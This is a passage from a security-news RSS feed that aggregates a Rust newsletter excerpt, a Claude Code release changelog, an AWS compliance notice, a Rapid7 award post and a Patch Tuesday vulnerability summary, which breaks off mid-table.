<li><a href="https://www.meetup.com/stl-rust/events/314106244/"><strong>Testing, Coverage, Tracey &amp; Mutations</strong></a></li>
</ul>
</li>
<li>2026-06-06 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314480539/"><strong>Boston Common Rust Lunch, June 6</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-05-14 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/314260890/"><strong>Rust Melbourne - May 2026</strong></a></li>
</ul>
</li>
<li>2026-05-26 | Barton, ACT, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/314050576/"><strong>May Meetup</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-05-13 | Montevideo, UY | <a href="https://www.meetup.com/rust-uruguay">Rust Meetup Uruguay</a><ul>
<li><a href="https://www.meetup.com/rust-uruguay/events/314532884/"><strong>Rust Uruguay meetup de Mayo</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1sobu1s/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>Of the last 150 merged PRs to Bun, <strong>108 are memory-safety-adjacent</strong> — missed cleanup on an error path, use-after-free, uninitialized reads, out-of-bounds access, reentrancy. <strong>75 of those would not compile</strong> in a language with destructors, move semantics, and a borrow checker. One in three PRs we ship is "forgot to free something on an error path."</p>
<p>Of the 108, ~88 are in Zig. The ~14 in C++ are mostly ref-cycles and GC-concurrency races — the residual class that survives any language. So the Zig→Rust delta is real: the Zig bugs are exactly the destructor/ownership-fixable kind, and the C++ side is already near the floor.</p>
<p>Without stronger compile-time guarantees, this stays a cat-and-mouse game. The proposal is to remove the largest bug class structurally rather than fix instances of it indefinitely.</p>
</blockquote>
<p>– <a href="https://github.com/oven-sh/bun/blob/claude/phase-a-port/docs/rust-rewrite-plan.md#why">Jarred Sumner on the bun github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1765">Brian Kung</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1tcjse1/this_week_in_rust_651/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.141]]></title>
<description><![CDATA[What's changed

Added terminalSequence field to hook JSON output so hooks can emit desktop notifications, window titles, and bells without a controlling terminal
Added CLAUDE_CODE_PLUGIN_PREFER_HTTPS to clone GitHub plugin sources over HTTPS instead of SSH, for environments without a GitHub SSH k...]]></description>
<link>https://tsecurity.de/de/3515298/downloads/v21141/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3515298/downloads/v21141/</guid>
<pubDate>Thu, 14 May 2026 01:31:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>terminalSequence</code> field to hook JSON output so hooks can emit desktop notifications, window titles, and bells without a controlling terminal</li>
<li>Added <code>CLAUDE_CODE_PLUGIN_PREFER_HTTPS</code> to clone GitHub plugin sources over HTTPS instead of SSH, for environments without a GitHub SSH key</li>
<li>Added <code>ANTHROPIC_WORKSPACE_ID</code> environment variable for workload identity federation — scopes the minted token to a specific workspace when the federation rule covers more than one</li>
<li>Added <code>claude agents --cwd &lt;path&gt;</code> to scope the session list to a directory</li>
<li><code>/feedback</code> can now include recent sessions (last 24 hours or 7 days) for issues spanning more than the current session</li>
<li>Rewind menu: added "Summarize up to here" to compress earlier context while keeping recent turns intact</li>
<li>Auto mode permission dialog now explains when a <code>permissions.ask</code> rule caused the prompt</li>
<li>Restored the "view diff in your IDE" option on file-edit permission prompts when an IDE is connected</li>
<li>Background agents launched via <code>/bg</code> or <code>←←</code> now preserve the current permission mode instead of reverting to default</li>
<li><code>claude agents</code>: agents that finish work but leave a background shell running now move to Completed instead of staying under Working</li>
<li>Improved spinner feedback during long thinking periods — the spinner now warms to amber after 10 seconds to signal Claude is still working</li>
<li>Improved plugin menu navigation: <code>→</code>/Tab switch tabs, <code>↑</code> moves to the tab strip, and tab headers and search box are clickable in fullscreen mode</li>
<li>Fixed background side-queries sending an unavailable Haiku model ID on Bedrock/Vertex/Foundry/gateway when no <code>ANTHROPIC_SMALL_FAST_MODEL</code> override is set — now falls back to the main-loop model</li>
<li>Fixed <code>claude daemon status</code> and <code>/doctor</code> on Windows throwing when the daemon pipe key file is locked or unreadable — now shows the underlying error instead of an opaque failure</li>
<li>Fixed <code>claude agents</code> showing the agent-type list instead of the dashboard when launched through a wrapper that adds flags</li>
<li>Fixed <code>claude agents</code> opening a crashed session firing redundant dispatches when the working directory was deleted</li>
<li>Fixed background jobs on a custom <code>ANTHROPIC_BASE_URL</code> gateway not getting auto-named — the namer now uses the main model when no Haiku model is configured</li>
<li>Fixed <code>/model</code> in one session silently changing the autocompact threshold in other concurrent sessions</li>
<li>Fixed switching permission mode while a tool-permission prompt is open not auto-dismissing the prompt when the new setting permits the tool</li>
<li>Fixed pressing Enter while a permission/dialog prompt is open also submitting text in the input box</li>
<li>Fixed hooks receiving a non-existent <code>transcript_path</code> after <code>EnterWorktree</code> switches the working directory</li>
<li>Fixed markdown tables with cell wrapping falling back to the vertical key-value layout instead of rendering as a bordered grid (regression in 2.1.136)</li>
<li>Fixed cancelled prompts being removed from Up-arrow history when auto-restored into the input box, avoiding duplicate entries</li>
<li>Fixed prompts cancelled with Ctrl+C/Esc before any response being dropped from Up-arrow history</li>
<li>Fixed Ctrl+C not interrupting a running turn while in vim INSERT/VISUAL mode</li>
<li>Fixed alternative <code>chat:submit</code> keybindings (e.g. <code>meta+enter</code>, <code>ctrl+enter</code>) not working when <code>enter</code> is rebound to <code>chat:newline</code></li>
<li>Fixed prompt suggestions being silently disabled when an output style was configured</li>
<li>Fixed <code>spinnerVerbs</code> setting not being honored in turn-completion messages</li>
<li>Fixed AskUserQuestion popup hiding the last line of preceding chat content</li>
<li>Fixed Web Search status showing "Did 0 searches" when searches returned errors</li>
<li>Fixed multi-line statusline output dropping or corrupting rows when any line exceeds terminal width</li>
<li>Fixed light-ansi theme using invisible white for diff context lines on light backgrounds — now uses black</li>
<li>Fixed error overlay dumping minified bundle source that hid the original error message</li>
<li>Fixed pressing Enter after typing a feedback survey rating digit submitting it as a chat message instead of the rating</li>
<li>Fixed pressing <code>x</code> on a selected subagent in the agent panel typing into the prompt instead of stopping the agent</li>
<li>Fixed session title being derived from plugin monitor notifications before the user's first prompt</li>
<li>Fixed "Allowed by PermissionRequest hook" repeating once per tool call under a collapsed read/search group</li>
<li>Fixed <code>/tui</code> silently dropping running background shells and subagents — now refuses and asks to wait for them to finish</li>
<li>Fixed welcome banner showing "API Usage Billing" on Bedrock, Vertex, Foundry, and other third-party providers — now shows the provider name</li>
<li>Fixed <code>/mcp</code> server list not keeping the focused server visible in short terminals in fullscreen mode</li>
<li>Fixed redaction in <code>/feedback</code> bundles producing invalid JSON for quoted values like session IDs</li>
<li>Fixed desktop and third-party provider sessions incorrectly inheriting <code>apiKeyHelper</code>/<code>ANTHROPIC_AUTH_TOKEN</code> from host managed-settings</li>
<li>Fixed early analytics events being silently dropped when fired before logger initialization</li>
<li>Fixed <code>claude plugin install</code> failing for plugins whose marketplace <code>ref</code> no longer exists upstream when a <code>sha</code> is also pinned</li>
<li>Fixed plugin details pane showing 0 MCP servers for plugins that declare them via <code>.mcp.json</code></li>
<li>Fixed plugin MCP servers with unset config variables showing a generic connection failure instead of a "config issue" message with a fix-it hint; malformed <code>.mcp.json</code> entries no longer drop other MCP servers</li>
<li>Fixed MCP server configs using POSIX shell parameter expansions (e.g. <code>${var%pattern}</code>) being incorrectly flagged as missing environment variables</li>
<li>Fixed MCP HTTP/SSE servers returning 403 on connect showing as "failed" instead of "needs auth"</li>
<li>Fixed remote MCP servers disconnecting unnecessarily when the optional server-events stream failed to reconnect — tool calls continue over POST</li>
<li>Fixed Remote Control MCP connectors all failing with 401 when the worker session token rotated mid-session</li>
<li>Fixed Remote Control automatically re-enrolling a trusted device when the server rejects a stale token, instead of looping through <code>/login</code></li>
<li>Fixed a race where early OTel spans could be silently dropped in SDK/headless mode with beta tracing enabled</li>
<li>Fixed custom <code>voice:pushToTalk</code> keybindings and <code>"space": null</code> unbinds being silently ignored</li>
<li>Fixed Windows Alt+V image paste reporting "no image found" when the clipboard contains a screenshot</li>
<li>Fixed SDK "Claude Code native binary not found" on Linux when both glibc and musl platform packages are installed</li>
<li>Bedrock: <code>awsCredentialExport</code> now always runs when configured instead of being skipped when ambient AWS credentials resolve, fixing auth for cross-account access</li>
<li>[VSCode] Fixed in-chat mic showing no feedback when the microphone produced only silence — now shows "No audio detected"</li>
<li>[VSCode] Voice mode: the WSL error now suggests installing <code>sox libsox-fmt-pulse</code> for WSLg users</li>
<li><code>claude agents</code>: launching a session no longer fails when the pre-warmed background worker is unhealthy — now falls back to a fresh launch</li>
<li><code>claude agents</code> no longer shows empty placeholder sessions left over from backgrounding a fresh REPL, and shows onboarding text when entered via ← with no other agents</li>
<li>Empty idle background sessions left over from <code>←</code> are now automatically retired by the daemon after 5 minutes</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[PCI PIN and P2PE compliance packages for AWS Payment Cryptography are now available]]></title>
<description><![CDATA[Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) and PCI Point-to-Point Encryption (PCI P2PE) assessments for the AWS Payment Cryptography service. This assessment expands the AWS Payment Cryptography…
Rea...]]></description>
<link>https://tsecurity.de/de/3514452/it-security-nachrichten/pci-pin-and-p2pe-compliance-packages-for-aws-payment-cryptography-are-now-available/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514452/it-security-nachrichten/pci-pin-and-p2pe-compliance-packages-for-aws-payment-cryptography-are-now-available/</guid>
<pubDate>Wed, 13 May 2026 18:37:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) and PCI Point-to-Point Encryption (PCI P2PE) assessments for the AWS Payment Cryptography service. This assessment expands the AWS Payment Cryptography…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/pci-pin-and-p2pe-compliance-packages-for-aws-payment-cryptography-are-now-available/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/pci-pin-and-p2pe-compliance-packages-for-aws-payment-cryptography-are-now-available/">PCI PIN and P2PE compliance packages for AWS Payment Cryptography are now available</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Partner Academy: Driving Impact with Gold Stevie Award-Winning Partner Services Certifications]]></title>
<description><![CDATA[At Rapid7, our commitment to our partners is built on the foundation of the PACT (Partnering with Accountability, Consistency, and Transparency) program. Central to this mission is the Rapid7 Partner Academy, which was recently honored with a Gold Stevie Award in the 2026 American Business Awards...]]></description>
<link>https://tsecurity.de/de/3514044/it-security-nachrichten/rapid7-partner-academy-driving-impact-with-gold-stevie-award-winning-partner-services-certifications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514044/it-security-nachrichten/rapid7-partner-academy-driving-impact-with-gold-stevie-award-winning-partner-services-certifications/</guid>
<pubDate>Wed, 13 May 2026 16:22:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>At Rapid7, our commitment to our partners is built on the foundation of the </span><span><strong>PACT (Partnering with Accountability, Consistency, and Transparency)</strong></span><span> program. Central to this mission is the Rapid7 Partner Academy, which was recently honored with a </span><a href="https://aba.stevieawards.com/Awards/stevie-award-winners/" target="_blank"><span>Gold Stevie Award</span></a><span> in the 2026 American Business Awards® for </span><span><strong>Achievement in Collaboration and Partnership</strong></span><span>. This recognition underscores our dedication to providing </span><a href="https://www.rapid7.com/blog/post/empowering-our-partners-the-new-rapid7-partner-academy-is-hitting-the-mark" target="_self"><span>world-class training</span></a><span> that translates directly into partner success and customer resilience.</span></p><h2>A new era of partner-led services</h2><p><span>To meet the evolving needs of the cybersecurity landscape, Rapid7 Partner Academy has introduced specialized </span><a href="https://www.crn.com/news/security/2025/rapid7-revamps-partner-program-to-drive-security-services-specializations" target="_blank"><span>Partner Services Certifications</span></a><span>. These role-based learning paths are designed to move beyond traditional "product training" by focusing on high-fidelity service delivery and outcome-driven results, including how to build, deliver, and scale services on Rapid7 solutions. The training and certification program was specifically recognized for its "Partner-First" design, which was built through extensive collaboration with our global partner ecosystem to ensure alignment with real-world sales and technical challenges.</span></p><p><span>Our award-winning partner services certification ecosystem focuses on three critical pillars of the Rapid7 Command Platform:</span></p><ul><li><p><span><strong>Partner Services for InsightIDR:</strong></span><span> Equips partners with the skills and knowledge necessary to effectively guide customers through the post-sale phases of the InsightIDR solution.</span></p></li><li><p><span><strong>Partner Services for Exposure Command:</strong></span><span> Focuses on the transition from static vulnerability scanning to continuous attack surface validation, diving into the setup, management, and troubleshooting of Exposure Command.</span></p></li><li><p><span><strong>Partner Services for Vulnerability Management:</strong></span><span> Empowers partners to provide impactful services around deployment, management, and ongoing support for InsightVM that drive customer success.</span></p></li></ul><p><span>All three of these Partner Services Certifications enable our partners to deliver services around Rapid7 solutions from deployment and onboarding, to management and best practices for usage, to express health checks and troubleshooting. Upon successful completion of the course theoretical exam, you are eligible to enroll in the Services Validation Component. After validating your services capabilities, you will receive the prestigious distinction of achieving the </span><span><strong>Rapid7 Partner Services Certification and Badge.</strong></span><span> This achievement helps to differentiate your services to your customers and prospects with official recognition among the most capable Rapid7 MSSPs and service delivery partners.</span></p><h2>Real-world impact: From training to execution</h2><p><span>The </span><a href="https://aba.stevieawards.com/Awards/stevie-award-winners/" target="_blank"><span>Gold Stevie Award</span></a><span> recognizes more than just curriculum—it recognizes the impact these certifications have on the partner's ability to drive business and accelerate their profitability with Rapid7. By completing these Rapid7 Partner Academy certifications, partners gain:</span></p><ul><li><p><span><strong>Operational excellence:</strong></span><span> Technical specialists learn to deploy and manage Rapid7 solutions with a "Gold Standard" approach, ensuring high-fidelity results for customers.</span></p></li><li><p><span><strong>Strategic alignment:</strong></span><span> Sales professionals are trained in the </span><span><strong>RSP (Rapid7 Sales Professional)</strong></span><span> methodology, allowing them to position Rapid7 as the preferred solution through effective discovery and objection handling.</span></p></li><li><p><span><strong>Program economics:</strong></span><span> Certified partners can take full advantage of the </span><a href="https://www.rapid7.com/about/press-releases/rapid7-advances-2026-pact-partner-program-to-strengthen-partner-led-go-to-market-and-profitability" target="_self"><span><strong>2026 PACT updates</strong></span></a><span>, which offer enhanced incentives and streamlined deal motions for partner-led growth.</span></p></li></ul><h2>Collaborating for success</h2><p><span>The Stevie Award for </span><span><strong>Achievement in Collaboration and Partnership</strong></span><span> specifically applauds how Rapid7 integrated partner feedback into the curriculum development. This wasn't just Rapid7 talking to partners; it was a co-innovation effort. By coordinating with partners and Rapid7 technical support stakeholders, we ensured that the Partner Academy content directly addresses the "last-mile" technical blockers partners face in the field.</span></p><p><span>The value and impact of Partner Academy is highlighted by the comments from the Stevie American Business Awards</span><span>®</span><span> judges:</span></p><p><em>"I’ve seen a lot of partner programs, and most are built for the vendor, not the partner. This one stands out...A 5X outperformance, 76% completion rate, 91% satisfaction, and an NPS of 68 all point to real value delivered, not vanity metrics. I’m especially impressed by the coordination behind it –100 contributors across 13 business units. That level of alignment is hard to achieve, and it shows strong leadership. The fact that the program was mentioned on an earnings call also signals clear strategic impact."</em></p><p><em>"Overall, this is an outstanding and result-oriented program, and it sets the bar high for the partner enablement process. Exceeding the certification target by 5X within a significantly shortened timeframe speaks volumes for the relevance and execution of the program, and the creation of role-based, technically sophisticated learning paths speaks volumes for the focus on partner enablement."</em></p><h2>Celebrating our partners</h2><p><span>This award is a shared victory with the thousands of partner individuals who have invested in their professional development through the Partner Academy. Whether you are a technical expert seeking to “Command the Attack Surface” or a sales professional looking to protect your margins, the Partner Academy is your gateway to success in the Rapid7 ecosystem.</span></p><h3>Join the award-winning program and start your learning journey today!</h3><p><span>As we continue to innovate, our goal remains the same: to provide the most transparent, consistent, and world-class enablement program in the industry. We invite all partners to officially </span><a href="https://www.rapid7.com/partners/sales-partners" target="_self"><span>become a Rapid7 PACT Partner</span></a><span> to explore these award-winning certifications and start driving deeper impact for your customers today.</span></p><hr>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch Tuesday - May 2026]]></title>
<description><![CDATA[Microsoft is publishing 137 vulnerabilities on May 2026 Patch Tuesday. Microsoft is not aware of exploitation in the wild or public disclosure for any of these vulnerabilities. So far this month, Microsoft has provided patches to address 133 browser vulnerabilities, which are not included in the ...]]></description>
<link>https://tsecurity.de/de/3512237/it-security-nachrichten/patch-tuesday-may-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3512237/it-security-nachrichten/patch-tuesday-may-2026/</guid>
<pubDate>Wed, 13 May 2026 03:53:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Microsoft is publishing 137 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-May"><span>May 2026 Patch Tuesday</span></a><span>. Microsoft is not aware of exploitation in the wild or public disclosure for any of these vulnerabilities. So far this month, Microsoft has provided patches to address 133 browser vulnerabilities, which are not included in the Patch Tuesday count above.</span></p><h3><span>Windows Netlogon: critical RCE</span></h3><p><span>Anyone responsible for securing a domain controller should prioritize remediation of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a><span>, which is a critical stack-based buffer overflow in Windows Netlogon with a CVSS v3 base score of 9.8. Exploitation leads to execution in the context of the Netlogon service, so that’s SYSTEM privileges on the domain controller. For most pentesters, that’s the point at which the customer report more or less writes itself. No privileges or user interaction are required, and attack complexity is low, which suggests that creation of a reliable exploit might not be especially difficult for anyone with knowledge of the specific mechanism.</span></p><p><span>Microsoft assesses exploitation as less likely, but since those exploitability assessments are provided without an accompanying explanation, it’s not clear how much reassurance defenders should take. Anyone who remembers the much-discussed </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472"><span>CVE-2020-1472</span></a><span> (aka ZeroLogon) back in 2020 will note that </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a><span> offers an attacker more immediate control of a domain controller. Patches are available for all versions of Windows Server from 2012 onwards.</span></p><h3><span>Windows DNS Client: critical RCE</span></h3><p><span>An attacker looking for a master key for Windows assets will pay attention to </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a><span>, a critical RCE in the Windows DNS client implementation. A modern computer talks to DNS the way a child in the back of a car asks “are we there yet?” The variable and complex structure of DNS responses means that DNS client implementations are also complex and thus prone to flaws. Microsoft assesses exploitation as less likely, and we can hope that modern mitigations such as heap address randomization and optional-but-recommended encrypted channel DNS will make weaponization significantly more challenging by putting barriers across specific paths to exploitation. The DNS client on Windows runs as the NetworkService role, rather than SYSTEM, but a foothold is a foothold, and skilled attackers expect to chain exploits together.</span></p><h3><span>JIRA/Confluence Entra ID auth plugin: critical EoP</span></h3><p><span>If you’re still self-hosting Atlassian JIRA or Confluence and relying on the Microsoft Entra ID authentication plugin, you’ll want to know about </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a><span>. This critical elevation of privilege vulnerability allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely. Even if you can’t always find what you want on the corporate Confluence, a motivated attacker probably will. Curiously, the patch links on the advisory lead to older versions of the plugins published in 2024.</span></p><h3><span>Microsoft WARP team</span></h3><p><span>Microsoft’s WARP team is credited with multiple critical vulnerabilities today, after making their first appearance in MSRC advisory acknowledgements in last month’s Patch Tuesday. We can speculate that they likely know a great deal about the current state of AI-powered vulnerability research as it applies to Microsoft products.</span></p><h3><span>Microsoft lifecycle update</span></h3><p><span>There are no significant Microsoft product lifecycle changes this month. Microsoft .NET 9 STS (Standard Term Support, as distinct from Long Term Support) was originally scheduled to move past the end of support in May 2026, but late last year, Microsoft </span><a href="https://devblogs.microsoft.com/dotnet/dotnet-sts-releases-supported-for-24-months/#:~:text=To%20solve%20this%20problem%2C%20we,Original%20Release%20Date"><span>granted a six-month extension</span></a><span>, so that </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/microsoft-net-and-net-core"><span>.NET 9 STS</span></a><span> now reaches end of support on November 10, 2026.</span></p><h2>Summary charts</h2><h2></h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt818426e9f5e515fd/6a03c94272d70a4176278519/2026-05-vuln_count_component.png" alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt818426e9f5e515fd/6a03c94272d70a4176278519/2026-05-vuln_count_component.png" data-sys-asset-uid="blt818426e9f5e515fd" data-sys-asset-filename="2026-05-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" data-sys-asset-position="center" sys-style-type="display"></figure><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte4570cc11c0293b3/6a03c9427575976c98e852e2/2026-05-vuln_count_impact.png" alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte4570cc11c0293b3/6a03c9427575976c98e852e2/2026-05-vuln_count_impact.png" data-sys-asset-uid="blte4570cc11c0293b3" data-sys-asset-filename="2026-05-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-May" data-sys-asset-position="center" sys-style-type="display"></figure><p></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted7c42c87882c725/6a03c94265263cb3d78617de/2026-05-vuln_count_impact-component-heatmap.png" alt="A heatmap showing distribution of impact type by component for Microsoft Patch Tuesday 2026-May" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="A heatmap showing distribution of impact type by component for Microsoft Patch Tuesday 2026-May" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted7c42c87882c725/6a03c94265263cb3d78617de/2026-05-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blted7c42c87882c725" data-sys-asset-filename="2026-05-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="A heatmap showing distribution of impact type by component for Microsoft Patch Tuesday 2026-May" data-sys-asset-position="center" sys-style-type="display"></figure><p></p><h2>Summary tables</h2><p></p><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-26129">CVE-2026-26129</a></td><td><p>M365 Copilot Information Disclosure Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-26164">CVE-2026-26164</a></td><td><p>M365 Copilot Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41614">CVE-2026-41614</a></td><td><p>M365 Copilot for Desktop Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41100">CVE-2026-41100</a></td><td><p>Microsoft 365 Copilot for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42832">CVE-2026-42832</a></td><td><p>Microsoft Office Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41101">CVE-2026-41101</a></td><td><p>Microsoft Word for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35435">CVE-2026-35435</a></td><td><p>Azure AI Foundry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35428">CVE-2026-35428</a></td><td><p>Azure Cloud Shell Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32207">CVE-2026-32207</a></td><td><p>Azure Machine Learning Notebook Spoofing Vulnerability</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33109">CVE-2026-33109</a></td><td><p>Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33844">CVE-2026-33844</a></td><td><p>Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41105">CVE-2026-41105</a></td><td><p>Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40379">CVE-2026-40379</a></td><td><p>Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34327">CVE-2026-34327</a></td><td><p>Microsoft Partner Center Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40381">CVE-2026-40381</a></td><td><p>Azure Connected Machine Agent Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42823">CVE-2026-42823</a></td><td><p>Azure Logic Apps Elevation of Privilege 